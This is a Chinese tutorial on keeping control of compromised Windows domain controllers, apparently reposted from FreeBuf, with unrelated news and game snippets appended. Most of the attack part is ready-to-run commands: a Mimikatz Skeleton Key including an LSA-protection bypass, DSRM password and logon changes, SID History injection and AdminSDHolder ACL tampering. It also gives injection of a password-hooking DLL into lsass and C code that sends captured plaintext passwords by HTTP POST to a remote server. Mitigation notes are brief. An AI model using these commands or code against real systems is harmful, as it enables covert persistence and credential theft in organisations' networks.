范文健康探索娱乐情感热点
投稿投诉
热点动态
科技财经
情感日志
励志美文
娱乐时尚
游戏搞笑
探索旅游
历史星座
健康养生
美丽育儿
范文作文
教案论文
国学影视

常见域后门技术总结与分析利用以及防范措施

  0x00 前言
  当获取到域控的权限后,为了防止对域控权限的丢失,hacker 也会使用一些技术来维持已获取到的域权限。因此,本文对常见的域后门技术进行了总结并对其利用方式进行了详细的说明,希望可以对大家的学习提供一些帮助。 0x01 创建 Skeleton Key 域后门
  Skeleton Key 即 "万能钥匙"。通过在域控上安装 Skeleton Key,所有域用户账户都可以使用一个相同的密码进行认证,同时原有密码仍然有效。
  该技术通过注入 lsass.exe 进程实现,并且创建的 Skeleton Key 只是保存在内存中,域控只要重启,Skeleton Key 就会失效。
  注意:利用该技术需要拥有域管理员的权限 1. 常规利用
  将 Mimikatz 上传到域控制器,执行以下命令: mimikatz.exe "privilege::debug" "misc::skeleton" exit
  执行后,将成功创建 Skeleton Key 域后门,为所有的域账户设置一个相同的密码 "mimikatz",从而使其他机器可以成功登录域控。
  2. 缓解措施
  微软在 2014 年 3 月添加了 LSA(Local Security Authority,本地安全机构)保护策略,用来防止对 lsass.exe 进程的内存读取和代码注入。通过执行以下命令,可以开启或关闭 LSA 保护。 # 开启 LSA 保护策略 reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL /t REG_DWORD /d 1 /f # 关闭 LSA 保护策略 reg delete "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v RunAsPPL
  开启LSA 保护策略并重启系统后,Mimikatz 的相关操作都会失败。此时即使已经获取了 Debug 权限也无法读取用户哈希值,更无法安装 Skeleton Key。
  不过,Mimikatz 可以绕过 LSA 保护。该功能需要 Minikatz 项目中的 mimidrv.sys 驱动文件,相应的 Skeleton Key 安装命令也变为了如下: mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton
  0x02 创建 DSRM 域后门
  DSRM(Directory Services Restore Mode,目录服务还原模式)是域控的安全模式启动选项,用于使服务器脱机,以进行紧急维护。在初期安装 Windows 域服务时,安装向导会提示用户设置 DSRM 的管理员密码。有了该密码后,网络管理员可以在后期域控发生问题时修复、还原或重建活动目录数据库。
  在域控上,DSRM 账户实际上就是本地管理员账户(Administrator),并且该账户的密码在创建后几乎很少使用。通过在域控上运行 NTDSUtil,可以为 DSRM 账户修改密码,相关命令如下: # 进入 ntdsutil ntdsutil # 进入设置 DSRM 账户密码设置模式 set dsrm password # 在当前域控上恢复 DSRM 密码 reset password on server null # 输入新密码 123456Lhz!   # 再次输入新密码  # 退出 DSRM 密码设置模式 q # 退出 ntdsutil q
  hacker 可以通过修改 DSRM 账户的密码,以维持对域控的权限。
  该技术适用于 Windows Server 2008 及以后版本的服务器,并需要拥有域管理员的权限
  利用过程:
  ① 执行以下命令,通过 Mimikatz 读取域控的 SAM 文件,获取 DSRM 账户的哈希值。 mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
  ② 修改 DSRM 账户的登录模式,以允许该账户远程登录。可以通过编辑注册表的DsrmAdminLogonBehavior 键值来实现,可选用的登录模式有以下3种: 0:默认值,只有当域控制器重启并进入 DSRM 模式时,才可以使用 DSRM 管理员账号。
  1:只有当本地 AD DS 服务停止时,才可以使用 DSRM 管理员账号登录域控制器。
  2:在任何情况下,都可以使用 DSRM 管理员账号登录域控制器。
  执行以下命令,将 DSRM 的登录模式改为 "2",允许 DSRM 账户在任何情况下都可以登录域控。 reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
  ③ 这时,hacker 就可以通过 DSRM 账户对域控制器进行控制了。
  执行以下命令,使用 DSRM 账户对域控执行哈希传递攻击并成功获取域控权限:
  0x03 SID History 的利用1. SID & SID History
  在 Windows 系统中,SID(Security Identifiers)是指安全标识符,是用户、用户组或其他安全主体的唯一、不可变标识符。
  Windows 根据 ACL(访问控制列表)授予或拒绝对资源的访问和特权,ACL 使用 SID 来唯一标识用户及其组成员身份。当用户登录到计算机时,会生成一个访问令牌,其中包含用户和组 SID 和用户权限级别。当用户请求访问资源时,将根据 ACL 检查访问令牌以允许或拒绝对特定对象的特定操作。
  如果将账户删除,然后使用相同的名字创建另一个账户,那么新账户不会具有前一个账户的特权或访问权限,这是因为两个账户的 SID 不同。
  SID History 是一个支持域迁移方案的属性,使得一个账户的访问权限可以有效地克隆到另一个账户,这在域迁移过程中非常有用。例如,当 Domain A 中的用户迁移到 Domain B 时,会在 Domain B 中新创建一个账号。此时,将 Domain A 用户的 SID 添加到 Domain B 的用户账户的 SID History 属性中。这就确保了 Domain B 用户仍然拥有访问 Domain A 中资源的权限。 2. 利用方法
  在实战中,hacker 可以将域管理员用户的 SID 添加到其他域用户的 SID History 属性中,以此建立一个隐蔽的域后门。
  利用该技术需要拥有域管理员权限
  下面在域控制器( Win 2012 )上进行实操:
  在 Windows Server 2019 上进行测试时可能会报错
  ① 创建域用户 Alice
  ② 向域控制器上传 Mimikatz,并执行以下命令,将域管理员 Administrator 的 SID 添加到域用户 Alice 的 SID History 属性中: # mimikatz版本大于2.1.0 mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:Alice /new:Administrator" exit # mimikatz版本小于2.1.0 mimikatz.exe "privilege::debug" "misc::addsid Alice ADSAdministrator" exit
  ③ 通过 Powershell 查看 Alice 用户的属性,可以发现其 SID History 属性值已经与 Administrator 用户的 SID 相同,这说明 Alice 用户将继承 Administrator 用户的所有权限。 Import-Module ActiveDirectory Get-ADUser hack -Properties SIDHistory
  ④ 通过 Alice 用户连接域控,执行 "whoami /priv" 命令,可以看到该用户拥有域管理员的所有特权。
  0x04 利用 AdminSDHolder 打造域后门1. AdminSDHolder
  AdminSDHolder 是一个特殊的 Active Directory 容器对象,位于 Domain NC 的 System 容器下。
  AdminSDHolder 通常作为系统中某些受保护对象的安全模板,以防止这些对象遭受恶意修改或滥用。
  受保护对象通常包括系统的特权用户和重要的组,如 Administrator、Domain Admins、Enterprise Admins 以及 Schema Admins 等。
  在活动目录中,属性 adminCount 用来标记特权用户和组。对于特权用户和组来说,该属性值被设为 1。
  通过 ADFind 查询 adminCount 属性设置为 1 的对象,可以找到所有受 AdminSDHolder 保护的特权用户和组。 # 枚举受保护的用户 Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=person)(samaccountname=*)(admincount=1)" -dn # 枚举受保护的组 Adfind.exe -b "dc=hack-my,dc=com" -f "&(objectcategory=group)(admincount=1)" -dn
  在默认情况下,系统将定期(每60分钟)检查受保护对象的安全描述符,将受保护对象的 ACL 与 AdminSDHolder 容器的 ACL 进行比较,如果二者不一致,系统就会将受保护对象的 ACL 强制修改为 AdminSDHolder 容器的 ACL。该工作通过 SDProp 进程来完成,该进程以 60 分钟为一个工作周期。 2. 利用方法
  在实战中,hacker 可以篡改 AdminSDHolder 容器的 ACL 配置。当系统调用 SDProp 进程执行相关工作时,被篡改的 ACL 配置将同步到受保护的 ACL 中,以此建立一个隐蔽的域后门。
  利用该技术需要拥有域管理员权限
  执行以下命令,通过 PowerView 向 AdminSDHolder 容器对象添加一个 ACL,使普通域用户 Alice 拥有对 AdminSDHolder 的 "完全控制" 权限。 Import-Module .PowerView.ps1 Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
  执行后,Alice 用户成功拥有 AdminSDHolder 容器对象的完全控制权限
  等待 60 分钟后,Alice 用户将获得对系统中的特权用户和组完全控制权限。
  此时,Alice 用户可成功向 Domain Admins 等关键用户组内添加成员。
  如果清除 Alice 用户对 AdminSDHolder 的完全控制权限,可以执行以下命令: Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=hack-my,DC=com" -PrincipalIdentity Alice -Rights All -Verbose
  3. 改变 SDProp 的工作周期
  方法1:修改注册表
  hacker 也可以通过注册表手动修改 SDProp 进程的工作周期,以缩短等待的时长(最小值1分钟,最大值2小时)。该注册表需要慎重修改, 当修改的频率变高时,CPU处理LSASS的开销也就越大,这很容易导致系统变得卡顿,该注册表键默认是不存在的。 # 工作周期修改为 1 分钟,键值以秒为单位 reg add HKLMSYSTEMCurrentControlSetServicesNTDSParameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
  方法2:强制 SDProp 执行
  ① 运行 Ldp.exe(C:WindowsSystem32Ldp.exe)
  ② 点击连接 -> 连接,输入当前机器的机器名或IP,端口默认为 389
  ③ 点击连接 -> 绑定,选择绑定为当前登录的用户
  ④ 在修改窗口这里针对不同版本的域控制器有不同的情况:
  当域控为Windows Server 2008时,点击浏览 -> 修改,在属性选项卡中输入 FixUpInheritance ,在值字段输入 yes。操作选择添加,然后点击输入,最后运行即可。
  当域控为Windows Server 2008 R2或Windows Server 2012及以上时,点击浏览 -> 修改,在属性选项卡中输入 RunProtectAdminGroupsTask ,在值字段输入 1。操作选择添加,然后点击输入,最后运行即可。
  0x05 HOOK PasswordChangeNotify
  PasswordChangeNotify 在微软官方文档中的名称为 PsamPasswordNotificationRoutine,是一个 Windows API。当用户重置密码时,Windows 会先检查新密码是否符合复杂性要求,如果密码符合要求,LSA 会调用 PasswordChangeNotify 函数在系统中同步密码。该函数的语法如下: PSAM_PASSWORD_NOTIFICATION_ROUTINE PsamPasswordNotificationRoutine; NTSTATUS PsamPasswordNotificationRoutine(   [in] PUNICODE_STRING UserName,   [in] ULONG RelativeId,   [in] PUNICODE_STRING NewPassword ) {...}
  当调用 PasswordChangeNotify 时,用户名和密码将以明文的形式传入。hacker 可以通过 Hook 技术,劫持 PasswordChangeNotify 函数的执行流程,从而获取传入的明文密码。
  下面进行演示:
  ① 生成 DLL 文件,需在项目属性中将MFC的使用设为 "在静态库中使用MFC"
  ② 将编译好的 HookPasswordChange.dll 和 Invoke-ReflectivePEInjection.ps1 上传到域控制器,并通过 Invoke-ReflectivePEInjection.ps1 将 HookPasswordChange.dll 注入 lsass.exe 进程。 # 导入 Invoke-ReflectivePEInjection.ps1 Import-Module .Invoke-ReflectivePEInjection.ps1 # 读取 HookPasswordChange.dll 并将其注入 lsass 进程 $PEBytes = [IO.File]::ReadAllBytes("C:HookPasswordChange.dll") Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass
  建议在 Windows Server 2012 上进行测试,Window Server 2019 亲测运行脚本会报错
  ③ 当管理员修改密码时,用户的新密码将记录在 c:windows	emp 目录的 password.txt 文件中。
  此外,password.txt 文件的保存路径可以自定义,需要在 HookPasswordChange.cpp 文件中修改
  我们还可以在源码的基础上通过 WinINet API 添加一个简单的 HTTP 请求功能,将获取到的用户密码传回远程服务器,相关代码如下: // 需要包含 --> #incloud  HINTERNET hInternet = InternetOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64)",             INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (hInternet == NULL) {     InternetCloseHandle(hInternet); } HINTERNET hSession = InternetConnect(hInternet, L"192.168.220.132", 6666, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);  if (hSession == NULL) {     InternetCloseHandle(hSession);     InternetCloseHandle(hInternet); }  char strUserName[128]; char strPassword[128]; WideCharToMultiByte(CP_ACP, 0, userName, -1, strUserName, sizeof(strUserName), NULL, NULL); WideCharToMultiByte(CP_ACP, 0, password, -1, strPassword, sizeof(strPassword), NULL, NULL); char Credential[128]; snprintf(Credential, sizeof(Credential), "username=%s&password=%s", strUserName, strPassword); HINTERNET hRequest = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0); TCHAR ContentType[] = L"Content-Type: application/x-www-form-urlencoded"; HttpAddRequestHeaders(hRequest, ContentType, -1, HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE); HttpSendRequest(hRequest, NULL, 0, Credential, strlen(Credential));
  重新编译生成 HookPasswordChange.dll 并注入 lsass.exe 进程,当管理员修改密码时,将通过 HTTP POST 方法将用户密码外带到远程服务器。
  加入HTTP 请求功能后重新编译时,如果出现报错:无法解析的外部符合 _imp_XXXXX,可以参考:解决方案 0x06 总结
  防范域后门的建议:更新安全补丁:安装并更新所有操作系统和应用程序的最新安全补丁可以修复已知漏洞,并减少系统受到攻击的风险。限制管理员访问:管理员账户应该仅限于必要的操作,并且应该使用最小化特权的账户。管理员账户的密码应该足够强大,并且需要定期更换。强化密码策略:强制使用复杂的密码,并限制登录尝试次数,以防止恶意攻击者使用暴力破解密码的方式获取访问权限。实施网络隔离:将不同的网络隔离起来,可以减少攻击者在一次攻击中访问整个网络的可能性。网络隔离也可以限制内部用户对受感染系统的访问。部署安全软件:使用杀毒软件、防火墙和入侵检测系统等安全软件可以帮助检测和阻止潜在的攻击。定期备份数据:备份数据可以确保在遭受攻击时能够快速恢复系统和数据。备份数据应存储在离线介质上,并且需要定期测试以确保可靠性。培训用户:向用户提供安全意识培训,教育他们如何避免受到钓鱼攻击和恶意软件的影响,可以减少系统受到攻击的风险。
  from https://www.freebuf.com/articles/network/359329.html

乒乓球全锦赛2比3憾负卫冕冠军湖北男团连续两届位列第三11月5日晚,黄石体育馆,2022全国乒乓球锦标赛团体半决赛收官。在当晚最晚结束的比赛中,由薛飞马特习胜出战的湖北男团以2比3遗憾地不敌拥有国手林高远周启豪的卫冕冠军广东队,全场比伊布说实话,瓜迪奥拉心虚!因扎吉中枪,穆里尼奥却得到赞扬现效力于意甲豪门AC米兰的瑞典神锋伊布拉希莫维奇有着奇特的职业生涯,也有着敢于说实话的大嘴巴,他的言论犀利有针对性,敢于挑战权威。在一档采访中伊布将矛头指向了曾经执教过他的西班牙教德甲柏林赫塔vs拜仁实力有别,拜仁轻取三分?柏林赫塔目前2胜5平5负积11分处于联赛第14的位置,领先降级区只有两分的优势,球队的保级形势还是比较严峻的。主教练桑德罗施瓦茨在本赛季入主了球队,他注重防守的打法还是有着不小的成穆里尼奥欧联狂想曲,哈维的巴萨如同纸老虎,冬窗之后还会有惊喜凭借扎尼奥洛的天神下凡,老头儿的罗马总算有惊无险挺进欧联杯淘汰赛。而罗马如何应对欧冠掉下来的大鲨鱼,无疑是本赛季欧联杯的最大看点。巴萨,塞维利亚,勒沃库森,阿贾克斯,葡萄牙体育,萨圆生成算法圆是图形中经常使用的元素,大部分图形学库中都提供画圆的api,本文介绍不使用任何图形库直接使用TypeScript语言实现在浏览器中画圆的方法。概述html页面使用canvas元素杀疯了!一个网站搞定全网学习资源平时大家都是怎么找资源的,靠百度?那你可就OUT了!机智今天给大家介绍一个堪称良心宝藏灵光一闪的聚合资源搜索引擎,这里有取之不尽的学习资源奈斯搜索想学什么直接搜关键词,而且下载没有诺基亚概念新机100全面屏3200万像素单摄说起诺基亚手机,我印象最深地,就是功能机时代它的质量,即便用来砸核桃,也不成问题。不过可惜的是,由于当初自研的Symbian和MeeGo系统不成熟,加上对安卓系统的不采用,导致最终特斯拉股价下跌,投资逻辑有了根本转变?先来快速看一下特斯拉本次财报的整体表现。最近季度特斯拉的总营收214。5亿美元,虽然同比增长高达56,但仍然不及预期的221。8亿美元,经营利润37亿美元,同样低于市场预期的39亿华为Mate50全新昆仑玻璃版11月10日开售,整机耐摔能力提升10倍IT之家11月5日消息,据华为终端消息,华为Mate50系列全新昆仑玻璃版本将于11月10日1008正式开售,坚若磐石,搭载昆仑玻璃使整机耐摔跌落能力提升至10倍。IT之家了解到,iPhone14口碑下滑,双十一手机该怎么买?今年苹果口碑大不如前,iPhone14系列发布以后遭到网友吐槽,库克连壳都舍不得换,把上一代改个名字就拿出来卖?在这种情况下,网友更加倾向于国产手机,毕竟骁龙8Gen1改用台积电4怎么想(下)续前文。5。对科学别迷信科学战胜宗教,是现代以来的大事。但现在,特别是在中国,科学正在成为新宗教。越来越多的人盲目信奉科学教,但他们忘了,科学的起源,正是一种基于可被证伪的研究态度
一胎的极致体验,你有同感吗?适逢两会的热度,人口生育和出生率的问题再次被掀起了新的高度,很多的代表都提出了自己宝贵的意见,比如甘华田建议未生育二孩三孩的家庭发放教育专项补贴,为第三孩提供从幼儿园到高中毕业阶段俩孩子,一个天天午睡一个从不午睡,长大后3个差距明显瓶子和燕子是姐妹俩,两个人各自都有个女儿,但育儿观念差别挺大。姐姐瓶子养孩子比较随性,对孩子的生活习惯各方面没有那么在意,怎样都行,无所谓的心态。妹妹燕子在养育孩子方面特别注重孩子女子抱3个月婴儿双双被打,打人者叫嚣再报警杀了你!因为退房起了冲突,怀抱三个月婴儿的宝妈被打的满脸是血,就连可怜的婴儿也难逃毒手,外耳被打肿,导致听力受损。看着这样残忍又极端的退房方式,实在是让人不能理解,这个房东到底跟租客有着什无期迷途隐秘深渊UP池抽取分析!可谓一石二鸟的无奈之举!大家好,我是正在盘算资源的何二维一。今天中午官方也是突然发了一个通告,这个通告吧在昨天和前天,甚至包括游戏中的内容中之前都没有出现过,更加类似于一个临时加入的活动,我们先来看看这个原神设计最烂的四星武器,除了浪费资源就是占背包!众所周知,四星角色好获得是因为大家都会去抽角色池,顺带捞一捞还是很容易的,但有些四星武器在角色池里是没有的,所以一把好用的四星武器可能需要从武器池里捞,但这样成本就很高了,除非是要觉醒测试定档3。23!恶魔右腕开启鬼泣巅峰之战2。0新纪元猎魔觉醒,战斗重燃!鬼泣巅峰之战2。0全新版本觉醒测试定档3月23日!CAPCOM殿堂级动作IP授权手游鬼泣巅峰之战2。0版本即将到来,新版本在原有内容基础上,继续以呈现主机级体验LPL大事件公开,将评选历史十大选手,Rookie最稳,Uzi厂长惹争议各位LPL的观众和英雄联盟召唤师大家好,这里是天下游戏汇。LPL第一届职业联赛是从2013年开始的,到现在已经十周年了,能一路陪伴LPL走过来的都是老观众,十周年肯定也都是感触颇多DOTA2新英雄琼英碧灵的定位,大哥还是辅助?DOTA2新英雄琼英碧灵已经推出好几天了。很多人都已经玩过或者对阵过,对新英雄的强度应该有所了解了。这个英雄刚出来,看她的技能,感觉可以打大哥,但很多玩过的玩家都觉得这英雄打大哥比千年盛世手游之小白详细攻略新手前期需要注意的是根据主线任务开始熟悉这款游戏,点击左侧任务界面就可以探路了,然后完成,前期推荐使用斧头作为修行的武器。合理地使用辅助设置可以更省心的完成游戏,如果前期首充了的玩20年前的经典奇葩游戏,难度虽然不高,通关人数却寥寥无几在一望无垠的游戏世界中,玩家时而醉心于天马行空的世界观与玩法,时而被动人的剧情所感染,时而在爽快打斗中充分体验到刺激感。然而市面上也有部分游戏,似乎与游戏体验背道而驰,通关人数可谓传奇世界传世无双元神合击,追寻传奇记忆之道士篇哈喽,大家好,我又回来啦!今天我们来详细介绍讨论下传奇世界传世无双中的道士技能哈。道士职业的话呢,在队伍里是个治疗角色,但同时又兼备输出伤害,是一个能打能抗可治愈的一个职业存在。道